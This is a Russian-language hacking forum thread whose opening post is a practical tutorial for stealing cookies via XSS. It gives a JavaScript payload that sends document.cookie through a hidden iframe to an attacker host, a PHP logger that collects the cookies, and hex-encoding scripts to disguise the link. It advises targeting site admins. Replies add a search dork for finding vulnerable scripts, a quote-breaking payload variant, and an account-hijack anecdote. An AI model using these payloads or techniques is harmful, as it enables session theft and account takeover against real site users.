[Взлом] XSS для самых маленьких

Тема в разделе "Статьи и Co", создана пользователем ASD, 19 авг 2007.

Статус темы:
Закрыта.
  1. ASD

    ASD Постоялец

    Регистр.:
    27 июл 2007
    Сообщения:
    59
    Симпатии:
    23
    XSS для самых маленьких...

    Автор: Jenizix


    Ну найти в интернете описание XSS-бага я думаю труда не составит...
    Перейдем сразу к использованию:

    -= 3-2-1 go! =-
    Сначала зарегистрируем ( или возьмем имеющийся ) домен с хостингом ( пофиг какого уровня =)))) ) с поддержкой PHP...
    допустим мы зарегили xss.host.ru...

    Создадим файл xss.js с таким содержимым:
    CODE
    document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://xss.host.ru/xss.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');


    Этот JavаScript будет открывать невидимый iframe на странице, в котором будет гризиться наш скрипт принимающий куки... + ему будет передаваться имя сайта откуда куки были стырены.
    Я выбрал тег <iframe> т.к. у некоторых отключен показ рисунков => тег <img> не прокатит... да и попапы могут резаться...

    Теперь создадим файл xss.php:
    CODE
    <?
    $file = fopen("cookies","a");
    fputs($file,"[".date("d.m.y H:i")."]".$QUERY_STRING."\r\n");
    fclose($file);
    ?>

    Этот скрипт будет записывать дату и полученое "печенье" в файл cookies

    Закинем оба файла в веб-директорию нашего сайта... ну вощем чтоб они были доступны как http://xss.host.ru/xss.js и http://xss.host.ru/xss.php

    -= Боевые действия =-
    Ну теперь найдем бажный сайт с XSS уязвимостью. Допустим уязвимость будет тут: http://site.ru/find.php?find=[xss]
    ок. уязвимость есть. пошлем скрипту find.php запрос типа find.php?find=<script src=http://xss.host.ru/xss.js></script>
    и затем открываем http://xss.host.ru/cookies и видим стырены куки! =)))

    -= Шифруемся =-
    НО! В открытую этот линк кидать не стоит... палевно... сделаем так, напишем php-скрипт для кодировки символов в hex и для разкодировки из hex:

    hex.php:
    CODE
    <?
    $str = urldecode($_SERVER['QUERY_STRING']);
    for($i=0;$i<strlen($str);$i++) {
    $hex=dechex(ord($str[$i]));
    if($str[$i]=='&')
    echo "$str[$i]";
    else
    echo "%$hex";
    }
    ?>


    ну и unhex.php:
    CODE
    <?
    echo urldecode($_SERVER['QUERY_STRING']);
    ?>


    например нам нужно чтобы юзер прошелся по этой ссылке: http://site.ru/find.php?find=<script src=http://xss.host.ru/xss.js></script>
    но как я уже говорил, в открытую ее ему кидать - палевно... заюзаем наш hex.php:
    http://xss.host.ru/hex.php?<script src=http://xss.host.ru/xss.js></script>

    Получим вот что:
    QUOTE
    %3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f%2f%78%73%73%2e
    %68%6f%73%74%2e%72%75%2f%78%73%73%2e%6a%73%3e%3c%2f%73%63%72%69%70%74
    %3e


    это hex представление текста: <script src=http://xss.host.ru/xss.js></script>

    Теперь наша ссылка будет выглядеть вот так:
    QUOTE
    http://site.ru/find.php?find=<script src=http://xss.
    %68%6f%73%74%2e%72%75%2f%78%73%73%2e%6a%73%3e%3c%2f%73%63%72%69%70%74
    %3e


    Как видите, не очень и палиться =)))

    Теперь осталось скинуть этот линк какомунибудь юзеру ( а лучше админу ) сайта site.ru и ждать его куков ( если конечно они там юзаются )...
    Куки могут быть в hex-виде... тут нам придет на помощ unhex.php: http://xss.host.ru/unhex.php?[тут_куки]

    -= Подводим итоги =-
    Теперь у нас есть полноценные скрипты для проведения XSS-атаки.
    Еще можно наш xss.js прогнать через hex.php чтоб еще побольше обезопаситься )))
     
    Jeffrey Dahmer и masternet нравится это.
  2. valeravl

    valeravl Постоялец

    Регистр.:
    14 июн 2007
    Сообщения:
    121
    Симпатии:
    23
    а вот тут список cms которые имеют уязвимость https://www.nulled.cc/showthread.php?t=20934

    что бы найти в гугле скрипты с дырами вводите например запрос:
    inurl:login.asp?ret_page

    а дальше подставляете в нужное место код
     
  3. podkashey

    podkashey Постоялец

    Регистр.:
    25 сен 2007
    Сообщения:
    65
    Симпатии:
    8
    Теперь все статьи выкладывать чтоле здесь будем? Так можно дох.я постов набрать, тупо копипастя статьи, а тут про банальную пассивку. Тогда уж про актив ксс лучше расписали в старых двигах форумов, которых до сих пор много и для для которых дорки есть.
    П.С. Если уж пассив применять, то лучше кидать ссыль на свой сайт, в котором стоит редирект на бажный. Или еще один ифрейм прописан с багой.
     
  4. censored!

    censored!

    Регистр.:
    3 авг 2007
    Сообщения:
    293
    Симпатии:
    106
    Мда уж, статья... Херня какая-то.
    Правильнее читать:
    Этот скрипт будет записывать в лог-файл cookies куки (cookies, печенюшку) пользователя у которого в браузере выполнился js-скрипт. А то путаница будет.
    ...
    Нихера мы ниче не увидим. Так как надо чтобы эта вставка выполнилась в браузере пользователя, а в 99% (тем более тут передают скрипту поиска) надо разрушить структуру html, т.е. воткнув в начале кавычку(-и) и закрывающуюся скобку. Типа так:
    find.php?find='"><script src=http://xss.host.ru/xss.js></script><"'

    А это вообще кто? =)
     
  5. Yuryus

    Yuryus

    Регистр.:
    3 апр 2007
    Сообщения:
    383
    Симпатии:
    145
    Мега статья с примерами, жаль, что на буржуйском. Читать обязательно.
    _http://ha.ckers.org/xss.html
     
    Лариса нравится это.
  6. zack666

    zack666 Постоялец

    Регистр.:
    10 дек 2007
    Сообщения:
    85
    Симпатии:
    8
    под вордпресс недавно сделали плагин анти xss. Потихоньку тему прекрывают...
     
  7. Aciddmotion

    Aciddmotion Создатель

    Регистр.:
    8 мар 2008
    Сообщения:
    23
    Симпатии:
    3
    Интересно а с этим борются поисковики?
     
  8. Yuryus

    Yuryus

    Регистр.:
    3 апр 2007
    Сообщения:
    383
    Симпатии:
    145
    Не совсем корректно...
    Поисковики (в буквальном смысле) здесь скорее всего не причем.
    Данная уязвимость присутствует в скриптах и по болешей части в поисковых. Но может присутствовать с очень большой долей вероятности, там где возможен ввод какой - либо информации от пользователя.
    Парадокс, что все по большей части знают о такого рода уязвимости и все же допускают ошибку при написании скриптов. Поэтому все поля ввода по очереди проверяем.
    Хочу чуть озадачить, что не факт. что данный тип атаки всегда является плодотворным.
    Напомню, что основная идея данной уязвимости, это получения куки.
     
  9. censored!

    censored!

    Регистр.:
    3 авг 2007
    Сообщения:
    293
    Симпатии:
    106
    Не всегда. Ведь через xss можно сбросить какие-то настройки, или сменить мыло в профиле на своё и потом на него напомнить пароль и т.п.
    Именно поэтому на подтверждение изменения данных часто вешают ввод пароля для подтверждения что это вы сами меняли в здравом уме и доброй памяти.
    p.s. Давно через xss на маил_ру выставляли пересылку писем к себе на ящик. Т.е. на саму пересылку стоял ввод пароля для подтверждения, а на Фильтрах нет. Вот через них и пересылали. Сейчас, к сожалению, прикрыли.
     
  10. t0wer

    t0wer BlackHerald

    Регистр.:
    24 июн 2008
    Сообщения:
    731
    Симпатии:
    421
    поисковикам пофик, они только дают информацию, а не юзают ее... а тут уж дело каждого куда жать и как!

    А никто не говорит что плодотворно на 100%!!!
    Хотя тут актуальность состоит в том, чтобы его воткнуть в чужой код, а это (как уже было сказано выше) надо дробить хтмл-ку.
     
Статус темы:
Закрыта.